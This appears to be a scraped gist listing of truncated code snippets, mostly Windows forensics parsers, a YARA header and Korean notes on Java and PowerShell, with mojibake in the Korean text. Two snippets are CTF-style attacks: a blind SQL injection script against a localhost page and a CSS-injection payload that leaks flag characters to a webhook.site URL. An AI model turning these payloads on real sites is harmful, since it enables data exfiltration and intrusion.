asdqwewqe
import requests | |
url = "http://localhost:9200/sqli3.php" | |
flag = "" | |
flag_len = 41 | |
for idx in range(1, flag_len): | |
tmp = [] | |
for count in range(1, 9): | |
payload = f"""a' = 'a'# |
import string | |
import pyperclip | |
token = "token" | |
flag = "flag{" | |
payload = "<style>" | |
for i in string.printable.split(" ")[0].replace("\"",""): # "์ฒ๋ฆฌ์์ ๋ญ๊ฐ ๋ฌธ์ ๊ฐ ์์ด์ ์ผ๋จ ์ ๊ฑฐํจ | |
payload += 'a[href*="' + flag + i + '"]' + '{background-image: url(https://webhook.site/' + token + '?a=' + i + ');}' | |
payload += "\n" | |
payload += "</style>" |
layout | title | description | date | tags | |
---|---|---|---|---|---|
post |
Powershell ์ธ์ด์ ํน์ดํ ๊ธฐ๋ฅ |
2022-11-12 |
|
ํ๊ต ๊ณผ์ ๋ก rareํ ์ธ์ด์ ํํ ๋ฆฌ์ผ์ ๋ง๋๋๊ฒ ์์ด์ Powershell์ ์ ํํ์๋ค. (ํด๋น ์ธ์ด๋ ํ์ฅ์์ ์ฌ์ฉ๋๊ณ ์์ด์ผ ํ๋ค.)
/* | |
YARA Rule Set | |
Author: hyuunnn | |
Date: 2024-02-17 | |
Identifier: testtestt | |
Reference: https://github.com/Neo23x0/yarGen | |
*/ | |
/* Rule Set ----------------------------------------------------------------- */ |
EnumSet์ Java์ ํน์ํ ์ปฌ๋ ์ ํด๋์ค๋ก, enum ํ์ ์ ์์๋ค์ ํจ์จ์ ์ผ๋ก ์ ์ฅํ๊ณ ์ฒ๋ฆฌํ ์ ์์ต๋๋คโท. EnumSet์ ๋ด๋ถ์ ์ผ๋ก ๋นํธ ๋ฒกํฐ๋ฅผ ์ฌ์ฉํ์ฌ enum ์์๋ค์ ๊ด๋ฆฌํฉ๋๋คโถ. ๋นํธ ๋ฒกํฐ๋ long ํ์ ์ ๋ณ์๋ก ๊ตฌํ๋๋๋ฐ, long ํ์ ์ 64๋นํธ๋ฅผ ๊ฐ์ง๋๋ค. ๋ฐ๋ผ์ 64๊ฐ ์ดํ์ enum ์์๋ค์ ์ ์ฅํ ์ ์์ต๋๋ค.
EnumSet์ ์ ์ ํฉํ ๋ฆฌ ๋ฉ์๋๋ฅผ ํตํด ์ธ์คํด์ค๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ๊ทธ ์ค์๋ of ๋ฉ์๋๊ฐ ์๋๋ฐ, ์ด ๋ฉ์๋๋ enum ์์๋ค์ ์ง์ ๋งค๊ฐ๋ณ์๋ก ์ ๋ฌํ์ฌ EnumSet์ ๋ง๋ญ๋๋คโต. ์๋ฅผ ๋ค์ด,
EnumSet<DayOfWeek> weekend = EnumSet.of(DayOfWeek.SATURDAY, DayOfWeek.SUNDAY);
์ด ์ฝ๋๋ DayOfWeek์ด๋ผ๋ enum ํ์ ์์ ํ ์์ผ๊ณผ ์ผ์์ผ๋ง ํฌํจํ๋ EnumSet์ ์์ฑํฉ๋๋ค.
- NTFS Log Tracker
- $MFT, $Usnjrnl:$J, $LogFile
- REGA, AmcacheParser, libregf
- C:/Windows/System32/config (SAM, SECURITY, SOFTWARE, SYSTEM)
- C:/Users/USERNAME (USERNAME.ntuser.dat)
- C:/Windows/AppData/Local/Microsoft/Windows (USERNAME.UsrClass.dat)
- C:/Windows/appcompat/Programs/Amcache.hve (Amcache)
- AppCompatCache (Shimcache)
from winreg import * | |
class IconLayouts: | |
def __init__(self): | |
self.idx = 0x18 | |
self.data = self.get_reg_data() | |
def parse_data(self, size): | |
result = self.data[self.idx:self.idx+size] | |
self.idx += size |
ex) python lnk.py "C:/lnkfile/"
ex) python lnk2.py "C:/lnkfile/" --> using pylnk
pylnk show_window_value is incorrect data
So I created the code to parse the ShowWindow.
import struct | |
import binascii | |
class IconCache_parser: | |
def __init__(self, filename): | |
self.filename = filename | |
self.data = open(self.filename,"rb").read() | |
self.header_size = struct.unpack("<L",self.data[:0x4])[0] | |
self.signature = self.data[0x4:0x8] | |
self.file_version = self.data[0x8:0xc] |